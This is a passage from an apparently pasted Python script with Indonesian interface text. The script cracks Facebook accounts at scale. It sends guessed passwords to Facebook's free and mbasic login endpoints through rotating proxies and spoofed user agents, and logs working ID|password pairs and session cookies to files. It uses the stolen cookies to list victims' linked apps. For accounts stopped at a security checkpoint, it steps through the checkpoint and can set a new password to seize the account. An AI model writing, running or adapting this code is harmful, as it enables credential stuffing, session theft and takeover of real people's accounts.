  817.             heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  818.             po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  819.             if "checkpoint" in po.cookies.get_dict().keys():
  820.                 print(f'\r{K} ID : {idf} PASWORD : {pw}{N}')    
  821.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  822.                 akun.append(idf+'|'+pw)
  823.                 cp+=1
  824.                 break
  825.             elif "c_user" in ses.cookies.get_dict().keys():
  826.                 ok+=1
  827.                 coki=po.cookies.get_dict()
  828.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  829.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  830.                 print(f'\r{H} ID : {idf} PASSWORD : {pw} COOKIES : {kukis}\n UGENT : {ua}{N}')
  831.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  832.                 cek_apk(kukis)
  833.                 break
  834.                
  835.             else:
  836.                 continue
  837.         except requests.exceptions.ConnectionError:
  838.             time.sleep(31)
  839.     loop+=1
  840.    
  841. #--------------------[ METODE MBASIC ]-----------------#
  842. def crackmbasic(idf,pwv):
  843.     global loop,ok,cp
  844.     bo = random.choice([m,k,h,b,u,x])
  845.     sys.stdout.write(f"\r 🖕😎🖕 𝕊ℙ𝕆𝕂𝕐-𝕏𝔻 🖕😎🖕      {P}{b}{loop}{P}/{u}{len(id)}{P} OK {P}{H}{ok}{P} CP {P}{k}{cp}{x} : {bo}{'{:.0%}'.format(loop/float(len(id)))}{P}  "),
  846.     sys.stdout.flush()
  847.     nip=random.choice(prox)
  848.     proxs= {'http': 'socks4://'+nip}
  849.     ua = random.choice(ugen)
  850.     ua2 = random.choice(ugen2)
  851.     ses = requests.Session()
  852.     for pw in pwv:
  853.         try:
  854.             if 'ya' in ualuh: ua = ualu[0]
  855.             nip=random.choice(prox)
  856.             proxs= {'http': 'socks5://'+nip}
  857.             ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  858.             p = ses.get('https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=141595129234543&kid_directed_site=0&app_id=141595129234543&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv5.0%2Fdialog%2Foauth%3Fclient_id%3D141595129234543%26redirect_uri%3Dhttps%253A%252F%252Fibispaint.com%252Flogin.jsp%26display%3Dpopup%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3De8184574-7e8f-41f3-b6d5-47a6c13f68fd%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fibispaint.com%2Flogin.jsp%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  859.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://developers.facebook.com/tools/debug/accesstoken/","flow":"login_no_pin","pass":pw,}
  860.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  861.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  862.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  863.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,allow_redirects=False)
  864.             if "checkpoint" in po.cookies.get_dict().keys():
  865.                 print(f'\r{K} ID : {idf} PASWORD : {pw}{N}')    
  866.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  867.                 akun.append(idf+'|'+pw)
  868.                 cp+=1
  869.                 break
  870.             elif "c_user" in ses.cookies.get_dict().keys():
  871.                 ok+=1
  872.                 coki=po.cookies.get_dict()
  873.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  874.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  875.                 print(f'\r{H} ID : {idf} PASSWORD : {pw} COOKIES : {kukis}\n UGENT : {ua}{N}')
  876.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  877.                 cek_apk(kukis)
  878.                 break
  879.                
  880.             else:
  881.                 continue
  882.         except requests.exceptions.ConnectionError:
  883.             time.sleep(31)
  884.     loop+=1
  885.    
  886. def cek_apk(kukis):
  887.     session = requests.Session()
  888.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
  889.     sop = bs4.BeautifulSoup(w,"html.parser")
  890.     x = sop.find("form",method="post")
  891.     game = [i.text for i in x.find_all("h3")]
  892.     try:
  893.         for i in range(len(game)):
  894.             print ("\r%s  \033[0m              ?? %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
  895.     except AttributeError:
  896.         print ("\r    %s\033[0m cookie invalid"%(M))
  897.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
  898.     sop = bs4.BeautifulSoup(w,"html.parser")
  899.     x = sop.find("form",method="post")
  900.     game = [i.text for i in x.find_all("h3")]
  901.     try:
  902.         for i in range(len(game)):
  903.             print ("\r%s  \033[0m              🚬 %s"%(P,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
  904.     except AttributeError:
  905.         print ("\r    %s \033[0mcookie invalid"%(M))
  906.  
  907.            
  908. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  909. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  910. from concurrent.futures import ThreadPoolExecutor
  911. from bs4 import BeautifulSoup as parser
  912. from threading import (Thread, Event)
  913. from time import sleep as jeda
  914. from datetime import datetime
  915.  
  916. ct = datetime.now()
  917. n = ct.month
  918. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  919. try:
  920.     if n < 0 or n > 12:
  921.         exit()
  922.     nTemp = n - 1
  923. except ValueError:
  924.     exit()
  925.  
  926. current = datetime.now()
  927. hari = current.day
  928. bulan = bulan_[nTemp]
  929. tahun = current.year
  930. bullan = current.month
  931.  
  932. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  933. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  934.  
  935. M = '\x1b[1;91m' # MERAH
  936. H = '\x1b[1;92m' # HIJAU
  937. K = '\x1b[1;93m' # KUNING
  938. B = '\x1b[1;94m' # BIRU
  939. U = '\x1b[1;95m' # UNGU
  940. O = '\x1b[1;96m' # BIRU MUDA
  941. P = '\x1b[1;97m' # PUTIH
  942. J = '\033[38;2;255;127;0;1m' # ORANGE
  943. N = '\x1b[0m' # WARNA MATI
  944. acak = [M, H, K, B, U, O, P, J]
  945. warna = random.choice(acak)
  946. til ="\033[0m╰─ "
  947.  
  948. def jalan(keliling):
  949.     for mau in keliling + '\n':
  950.         sys.stdout.write(mau)
  951.         sys.stdout.flush();jeda(0.03)
  952.        
  953.        
  954. ubah_pass = []
  955. pwbaru = []
  956. pwBaru = []
  957. ubahP = []
  958.  
  959. def file_cp():
  960.     dirs = os.listdir('CP')
  961.     print ("%s%s%s [%s\033[0m \033[0mpilih hasil crack yg tersimpan untuk cek opsi %s]\n"%(U,til,O,U,O))
  962.     for file in dirs:
  963.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  964.     try:
  965.         print("\n%s%s%s\033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
  966.         opsi()
  967.     except IOError:
  968.         print ('%s%s \033[0mfile tidak ada'%(M,til))
  969.         exit()
  970.  
  971. def opsi():
  972.     CP = ("CP/")
  973.     romi = input("%s%s%s \033[0mNama file %s> %s"%(U,til,O,M,K))
  974.     if romi == "":
  975.         print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
  976.         opsi()
  977.     try:
  978.         file_cp = open(CP+romi, "r").readlines()
  979.     except IOError:
  980.         exit("\n%s%s \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
  981.     jalan("%s%s%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
  982.     pw=input("\n%s%s%s \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
  983.     if pw in['y','Y']:
  984.         ubah_pass.append("ubah_sandi")
  985.         pw2 = input("%s%s%s \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
  986.         if len(pw2) <= 5:
  987.             print("%s%s sandi minimal 6 karakter "%(M,til))
  988.         else:
  989.             pwbaru.append(pw2)
  990.     print("\n %s# %s====================== %s#"%(P,M,P));jeda(2)
  991.     print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  992.     print(" %s# %s====================== %s#"%(P,M,P));jeda(2)
  993.     nomor = 0
  994.     for fb in file_cp:
  995.         akun = fb.replace("\n","")
  996.         ngecek  = akun.split("|")
  997.         nomor+=1
  998.         print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  999.         try:
  1000.             mengecek(ngecek[0].replace("",""), ngecek[1])
  1001.         except requests.exceptions.ConnectionError:
  1002.             continue
  1003.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  1004.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  1005.     back()
  1006.    
  1007. data = {}
  1008. data2 = {}
  1009. def cektahun(fx):
  1010.     if len(fx)==15:
  1011.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  1012.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  1013.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  1014.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  1015.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  1016.         elif fx[:6] in ['100001']          :tahunz = '2010'
  1017.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  1018.         elif fx[:6] in ['100004']          :tahunz = '2012'
  1019.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  1020.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  1021.         elif fx[:6] in ['100009']          :tahunz = '2015'
  1022.         elif fx[:5] in ['10001']           :tahunz = '2016'
  1023.         elif fx[:5] in ['10002']           :tahunz = '2017'
  1024.         elif fx[:5] in ['10003']           :tahunz = '2018'
  1025.         elif fx[:5] in ['10004']           :tahunz = '2019'
  1026.         elif fx[:5] in ['10005']           :tahunz = '2020'
  1027.         elif fx[:5] in ['10006']           :tahunz = '2021'
  1028.         elif fx[:5] in ['10009']           :tahunz = '2023'
  1029.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  1030.         else:tahunz=''
  1031.     elif len(fx) in [9,10]:
  1032.         tahunz = '2008'
  1033.     elif len(fx)==8:
  1034.         tahunz = '2007'
  1035.     elif len(fx)==7:
  1036.         tahunz = '2006'
  1037.     else:tahunz=''
  1038.     return tahunz
  1039.  
  1040. def mengecek(user,pw):
  1041.     global loop,ubah_pass,pwbaru
  1042.     session=requests.Session()
  1043.     ua = 'Mozilla/5.0 (Linux; Android 8.1.0; S45B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Mobile Safari/537.36'
  1044.     url = "https://mbasic.facebook.com"
  1045.     session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1046.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1047.     link=soup.find("form",{"method":"post"})
  1048.     for x in soup("input"):
  1049.         data.update({x.get("name"):x.get("value")})
  1050.     data.update({"email":user,"pass":pw})
  1051.     urlPost=session.post(url+link.get("action"),data=data)
  1052.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1053.     if "c_user" in session.cookies.get_dict():
  1054.         if "Akun Anda Dikunci" in urlPost.text:
  1055.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  1056.         else:
  1057.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  1058.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1059.     elif "checkpoint" in session.cookies.get_dict():
  1060.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1061.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1062.         link2=response.find("form",{"method":"post"})
  1063.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1064.         for x in response("input"):
  1065.             if x.get("name") in listInput:
  1066.                 data2.update({x.get("name"):x.get("value")})
  1067.         an=session.post(url+link2.get("action"),data=data2)
  1068.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1069.         cek=[cek.text for cek in response2.find_all("option")]
  1070.         number=0
  1071.         print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  1072.         if(len(cek)==0):
  1073.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1074.                 if "ubah_sandi" in ubah_pass:
  1075.                     dat,dat2={},{}
  1076.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1077.                     for x in response("input"):
  1078.                         if x.get("name") in but:
  1079.                             dat.update({x.get("name"):x.get("value")})
  1080.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1081.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1082.                     link3=resUbah.find("form",{"method":"post"})
  1083.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1084.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1085.                         for b in resUbah("input"):
  1086.                             dat2.update({b.get("name"):b.get("value")})
  1087.                         dat2.update({"password_new":"".join(pwbaru)})
  1088.                         an=session.post(url+link3.get("action"),data=dat2)
  1089.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1090.                         print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(H,til,N,H,user,pwbaru[0],coki))
  1091.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1092.                         #cek_apk(coki)
  1093.                 else:
  1094.                     print("\r%s%s \033[0makun one tab, silahkan anda login      "%(H,til))
  1095.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1096.                     #cek_apk(coki)
  1097.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1098.                 print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor          "%(M))
  1099.             else:
  1100.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  1101.         else:
  1102.             if "c_user" in session.cookies.get_dict():
  1103.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  1104.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1105.         for opsi in range(len(cek)):
  1106.             number +=1
  1107.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1108.     elif "login_error" in str(response):
  1109.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1110.         print("%s╰─ %s"%(M,oh))
  1111.     else:
  1112.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  1113.        
  1114. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1115. if __name__=='__main__':
  1116.     try:os.system('git pull')
  1117.     except:pass
  1118.     try:os.mkdir('OK')
  1119.     except:pass
  1120.     try:os.mkdir('CP')
  1121.     except:pass
  1122.     try:os.mkdir('/sdcard/Dhanz-DUMP')
  1123.     except:pass
  1124.     try:os.system('touch .prox.txt')
  1125.     except:pass
  1126.     login()
Add Comment
Please, Sign In to add comment